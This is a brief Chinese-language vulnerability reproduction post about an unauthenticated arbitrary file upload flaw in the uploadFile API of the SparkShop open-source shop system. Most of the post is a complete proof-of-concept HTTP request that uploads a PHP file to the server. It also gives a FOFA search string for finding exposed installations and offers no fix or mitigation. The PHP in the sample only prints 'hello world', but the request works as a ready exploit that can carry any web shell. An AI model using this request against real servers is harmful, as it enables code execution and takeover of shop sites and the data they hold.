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SparkShop开源商城 uploadFile 任意文件上传漏洞复现

article 2025/2/25 22:07:48

1 产品简介

SparkShop开源商城（也被称为星火商城）是一款基于ThinkPHP6和Element UI的开源免费可商用的高性能商城系统。适用于各类电商场景，包括但不限于B2C商城、新零售、分销商城等。无论是初创企业还是成熟品牌，都可以通过SparkShop快速搭建个性化独立商城，实现线上线下的融合营销。

2 漏洞概述

SparkShop开源商城 uploadFile 接口存在任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

3 复现环境

FOFA："SparkShop"

4 漏洞复现

PoC

POST /api/Common/uploadFile HTTP/2
Host: 
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Length: 178

------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="file";filename="1.php"

<?php echo"hello world";?>
------WebKitFormBoundaryj7OlOPiiukkdktZR--